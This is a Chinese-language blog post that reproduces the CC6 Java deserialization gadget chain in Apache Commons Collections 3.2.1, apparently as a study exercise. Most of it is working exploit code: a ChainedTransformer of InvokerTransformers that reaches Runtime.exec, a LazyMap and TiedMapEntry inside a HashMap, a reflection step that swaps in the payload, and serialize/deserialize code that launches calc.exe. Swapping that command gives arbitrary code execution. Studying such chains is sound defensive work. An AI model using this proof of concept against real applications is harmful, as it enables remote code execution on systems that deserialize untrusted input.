cc6复现

CC6复现及其总结

CCMaven依赖commons-collections

xml 复制代码
<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

利用终点

InvokerTransformertransform方法

CC链构造过程

格式a:funa-->b:funba类的funa方法调用了b类的funb方法 调用链 起:HashMap:readObject()-->HashMap:hash()-->TiedMapEntry:hashCode()-->TiedMapEntry:getValue-->LazyMap:get-->ChainedTransformer:transform-->InvokerTransformer:transform:终

终点构造

由于Runtime类不支持序列化,在cc链中获取的是Class对象,所以,以此例子,使用runtime.class的Class对象,来理解cc链中的终点构造

原理就是多次调用,通过反射,进行自动创建runtime对象 这里只是举例,以此理解runtime对象在程序执行过程中自动创建的过程 Class对象理解起来就是包裹普通class的容器,是用于实现程序运行时修改事物的一种机制,俗话说------叫反射,对应着Class.java类

java 复制代码
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    String[] strings = {"calc.exe"};
    Class[] classes = {String.class};
    //      Runtime.Class对象的Class
    Class runtimeClass_Class = Runtime.class.getClass();
    //      获取Class对象的getMethod方法
    Method getMethod = runtimeClass_Class.getMethod("getMethod", String.class, Class[].class);
    //      执行getMethod获取getRuntime方法
    Method getRuntime = (Method) getMethod.invoke(Runtime.class,"getRuntime",null);
    //      执行getRuntime创建Runtime对象
    Runtime runtime = (Runtime) getRuntime.invoke("getRuntime",null);
    //      终点执行
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", classes, strings);
    invokerTransformer.transform(runtime);
}

上层构造

ChainedTransformer构造

通过多次调用InvokerTransformer构造方法,实现runtime对象的自动创建

java 复制代码
//      用于循环的数组
Transformer[] transformers = new Transformer[]{
    //          返回Runtime.class对象
    new ConstantTransformer(Runtime.class),
    //          返回getruntime对象
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    //          返回runtime对象
    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{"getRuntime",null}),
    //          exec方法终点构造
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
// 用与测试构造是否有效
chainedTransformer.transform(1);

最终poc

java 复制代码
// 用于循环的数组
Transformer[] transformers = new Transformer[]{
    //  返回Runtime.class对象
    new ConstantTransformer(Runtime.class),
    //  返回getruntime对象
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    //  返回runtime对象
    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{"getRuntime",null}),
    //  终点构造
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);

// 实例化LazyMap,并包裹chainedTransformer
// 不直接赋值为chainedTransformer
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
// 实例化TiedMapEntry,并包裹lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
// 实例化HashMap,并将TiedMapEntry作为Key进行处理
Map<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "abab");
// 反射修改lazyMap的factory属性
Class clazz = lazyMap.getClass();
Field factory = clazz.getDeclaredField("factory");
factory.setAccessible(true);
// 重新为其赋值为chainedTransformer
factory.set(lazyMap, chainedTransformer);
// 删除key
lazyMap.remove("key");

构造解释:

  • 由于exec方法返回的是Process接口的ProcessImpl的实现类,所以不能让exec执行
  • 所以在lazyMap中不直接放chainedTransformer只放一个普通的ConstantTransformer(null)使得chainedTransformer.transform不会执行,进而不会执行exec 使用反射修改lazyMap的factory值为chainedTransformer 执行,直接报错 debug跟踪,发现lazymap中的get方法,比较了key是否为空

再反射修改后,直接removekey:lazyMap.remove("your key") 然后运行,没有报错

序列化

直接序列化,创建序列文件,文件名任意,后缀任意,反正都是二进制

java 复制代码
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc6.ser")));
objectOutputStream.writeObject(map);
objectOutputStream.close();

反序列化测试,直接成功,弹出计算器

java 复制代码
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get("cc6.ser")));
objectInputStream.readObject();
objectInputStream.close();

至此结束,复现over

相关推荐
黛色正浓3 分钟前
leetCode-热题100-普通数组合集(JavaScript)
java·数据结构·算法
月明长歌7 分钟前
Java多线程线程池ThreadPoolExecutor理解总结:6 个核心参数 + 4 种拒绝策略(附完整示例)
java·开发语言
找不到、了7 分钟前
JVM 跨代引用与 Card Table 机制
java·jvm
sunywz10 分钟前
【JVM】(2)java类加载机制
java·jvm·python
sublime8810 分钟前
JNPF快速开发平台存在任意文件读取漏洞 附PO
网络·安全·web安全·网络安全
进阶小白猿15 分钟前
Java技术八股学习Day13
java·jvm·学习
CodeAmaz22 分钟前
ConcurrentHashMap(JDK 7/8)详细介绍
java·hashmap·线程安全map
大猫和小黄23 分钟前
Tomcat vs Undertow 全面对比
java·tomcat
钢琴上的汽车软件23 分钟前
CCC 数字钥匙系统:安全元件(SE)功能与技术全景指南
安全·se·ccc数字钥匙
汽车仪器仪表相关领域30 分钟前
半自动精准检测,降本增效之选——NHD-1050半自动远、近光检测仪项目实战分享
服务器·人工智能·功能测试·安全·可用性测试